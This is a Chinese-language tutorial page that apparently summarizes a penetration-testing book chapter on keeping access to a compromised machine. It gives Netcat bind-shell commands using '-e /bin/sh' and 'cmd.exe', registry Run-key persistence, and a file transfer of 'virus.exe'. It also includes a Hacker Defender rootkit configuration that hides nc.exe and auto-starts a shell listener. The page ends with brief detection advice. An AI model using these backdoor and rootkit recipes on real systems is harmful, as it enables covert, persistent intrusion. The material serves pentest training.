在线发布、提交软件

当前位置:首页 > 电脑教程 > 网络安全

渗透测试实践指南必知必会的工具与方法(第七章、第七章、维持访问)

时间:2016-08-03 14:43:25  来源:软件园  作者:动力软件园

1.使用Back door(后门)及Rootkit维持访问

①Back door:运行在目标计算机上的隐藏进程,使得攻击者随时返回(或连接)到目标计算机上

②Rootkit:一类特殊的软件,深嵌在操作系统的内部并能够执行一些任务,包括能够帮Hacker隐藏进程和程序

2.Netcat

       ①一个运行通信和网络流量从一台计算机到另一台计算机的工具,它的灵活性让它成为后门的最佳选择

       ②Netcat可用于在计算机之间传递文件,也可用于执行端口扫描,还可以作为一个简单地即时消息和聊天工具,甚至可以用来搭建一个简单地Web服务器

       ③Netcat既可以以服务器模式来运行,也可以以客户端模式来运行

       A)客户端模式,它能通过网络连接到其他的服务上去(包括其他的Netcat实例);

              可以使用本地计算机上任意一个端口远程连接目标计算机上的任意端口。

       B)服务器模式,它作为一个监听者,等待接受外界传递过来的连接

       ————————————————————————————-—————

              实践方式是,在至少两台虚拟机上安装Netcat并尝试互相通信

       ————————————————————————————-—————

       ④将Netcat配置为一个连接两台计算机的通信通道

              a)目标计算机:nc -l -p 1337

              < -l >:将Netcat置为监听模式

              < -p >: 指定Netcat监听的端口号

              b)攻击计算机 : nc 192.168.18.132 1337

              (Netcat尝试连接IP地址为192.168.18.132的计算机,使用端口1337)

              c)Netcat只是将键盘输入(击键)的数据通过连接传送出去

              d)结束Netcat连接使用“Crrl + D”

(一旦你关闭了Netcat连接,要想在目标计算机上建立另一个连接,你需要重新启动Netcat程序)

       ⑤使Netcat持久连接的方法

       a)在Windows系统中

              以监听者启动Netcat时Ⅰ.使用参数< -L >,这样即使客户端断开连接之后,目标计算机在特定的端口上仍然保持在线连接状态

              例如:nt -L -p 1338

              为了实现真正地持久性,还需要Ⅱ.添加Netcat程序到注册表的

              HKEY_LOCAL_MACHINEsoftwarewindowscurrentversionrun表项中

       b)在Linux系统中

              不得不写一个简单地bash脚本程序,强行让Netcat在初始连接关闭时重新启动

       ⑥使用Netcat进行文件传输

              a)被控制者:nc -l -p 7777 > virus.exe

              (强制目标计算机监听7777端口,并将任何接收的输入信息存储到文件”virus.exe”中)

              b) 攻击者:nc 172.16.45.129 7777 < virus.exe

              (默认情况下,Netcat不会提供任何类型的反馈信息,因此你也不知道传输是什么时候完成的,所以一般是等待一会儿后输入Ctrl+C关闭连接,再”ls“查看)

              c)可以以相反的顺序执行上述两条命令,将会从目标计算机下载一个文件

       ⑦使用Netcat建立一个到目标端口的盲连接

              a)在目标计算机上发现了一些开放端口,但NmapNessus无法识别在端口上运行的服务,在这种情况下,一个好的解决方案便是使用Netcat建立一个到目标端口的盲连接。连接建立之后,通过键盘输入向目标端口发送信息,引发服务端的响应,根据响应信息识别服务。

              b)假如对IP地址为192.168.18.132的目标计算机进行渗透测试,发现端口5001是开放的,但无法判断该端口运行着什么服务,则可以这样

              nc 192.168.18.132 5001(建立一个到目标端口和服务的TCP连接)

              (注:可以使用 < -u >参数强制Netcat发送UDP数据包)

       ⑧Netcat的 < -e > 参数

              a)如果我们使用 -e 参数来启动Netcat,Netcat将执行我们在 -e 参数之后指定的任何程序(并且该程序只会在连接建立之后执行)

              b)要配置一个Back door,需要使用 -e 参数将一个可执行命令的 shell绑定到目标计算机的一个端口上

              例如: nc -l -p 12345 -e /bin/sh

                            nc.exe -L -p12345 -e c:WINDOWSSystem32cmd.exe

       ⑨你应当花时间亲自实践一下这款工具,你将被这款工具的强大功能所震慑!这也是称它为“瑞士军刀”的原因

3.Cryptcat(命令格式和Netcat一致)

       ①流经Netcat服务器和客户端的流量都是明文的,Cryptcat可以用来解决这一问题,它使用twofish进行加密

       ②你应该更改默认的key值,不如容易被破解。默认的key值是”metallica“,

使用< - k >参数修改

4.Rootkit(一类工具的总称)

可以隐藏文件,进程甚至是程序,一般用于隐藏文件或程序,以保持后门访问的隐蔽性

5.Hacker Defender(一款WindowsRootkit)

       ①需要特别注意的其中三个主要文件

       a) hxdef100.exe : 在目标计算机上运行Hacker Defender

       b) hxdef100.ini : 根据需要进行选项设置,列出我们想要隐藏的程序,文件或服务

       c) bdcli100.exe : 客户端软件,用于连接Hacker Defender的后门

②详解”hxdef100.ini ”文件


(图A)


(图B)


(A图是真实的hxdef100.ini文件,不过为了躲避杀软检测,插入了一些字符,去除这些干扰字符后,实际内容参照图B,之所以图中所示选项和下面所述不完全一致是因为,上图源自未运行过的HD)

       a)[Hidden Table] 指定隐藏特定的文件,目录或文件夹(对于Windows的资源管理器和文件管理器都是隐藏的)

       b)[Hidden Process] 指定隐藏特定的进程或程序

       c)[Root Processes] 包含可以用来交互的程序以及可以查看到的但在之前已经隐藏了的文件夹和进程

       d)[Hidden Services] 指定隐藏特定的服务(如FTP,Web服务,Back door等)

       e)[Hidden Rekeys] 指定隐藏特定的注册表键

       f)[Hidden RegValues] 指定隐藏特定的键值,而不是整个键

       g)[Startup Run] 在Hacker Defender 启动后自动运行的程序(放置Netcat命令的好地方,注意确保Netcat处于监听模式)

       h)[Free Space] 显示虚假的硬盘已用空间(隐藏了所使用的磁盘空间的占用信息)

       例如:你偷偷安装的程序占了1G硬盘空间,你需要写入”1073741824“(该数字以字节为单位)

       i)[Hidden Ports] 包括TCPI 、TCPO、UDP三个子节

              Ⅰ.TCPI 指定隐藏入站流量的TCP端口(多个端口间用”,“分隔)

              Ⅱ.TCPO 指定隐藏出站流量的TCP端口

              Ⅲ.UDP 指定想要隐藏的UDP端口

       ③使用Hacker Defender隐藏 Netcat的实例,修改”hxdef100.ini ”文件,需要添加的内容如下(HackerDefender和Netcat均位于”C:rk“目录下)

              [HiddenTable]   rk

              [Hidden Processes]  nc.exe

              [Startup Run]

              c:rknc_windowsnc.exe -L -p 8887-e c:windowssystem32cmd.exe

6.要真在的掌握Rootkit,需要对操作系统内核有非常扎实的理解

7.强烈建议你深入到恶意软件这个“兔子洞”中去探探究竟!

8.Rootkit的检测和防御

       ①监控流出的流量

       ②定期对你的系统进行端口扫描

       ③发现隐藏文件和Rootkit的工具

              a)Rootkit Revealer

              b)vice

              c)F-Secure的Blacklight

       ④清除Rootkit最简单的方法是完全格式化硬盘☹

9.如何实践

①配置两台计算机并在它们上边实际操作一下Netcat(< -e >至关重要)

                                   (用得越多,对概念的理解就越透彻)

②挖掘Netcat的一些高级特性,如用Netcat做代理,反向shell,端口扫描,创建和复制磁盘分区,连接Netcat实例实现从一台计算机到另一台计算机的反弹流量等

③一定要仔细阅读Netcat的“man(帮助)”文档并分析每一个参数

④事实上,Rootkit和Back door在渗透测试中很少使用,强烈建议你在试图更深入地研究恶意软件之前,侧重掌握其他步骤的内容

10.接下来做什么

①Ncat:

现代版的Netcat,Nmap项目的组成部分,为很多旧功能增加了SSL和IPV6的支持

②Socat:

另一个与Netcat密切相关的工具,它在读写网络流量方面非常出色,也扩展了Netcat的原有的功能,增加了SSL、IPV6支持和一些其他的高级特性

③有兴趣学习更多关于Back door的知识,应该花时间研究几个经典的例子,包括

a)Netbus:传统命令和控制软件的好例子

b)Back Orifice:与Netbus非常相似,允许用户使用命令行操控远程计算机

c)Subseven(Sub7):采用客户端/服务器方式,允许客户端远程控制服务器端

       ④对扩展Rootkit方面的知识感兴趣,那么需要学习和掌握现代操作系统内部机理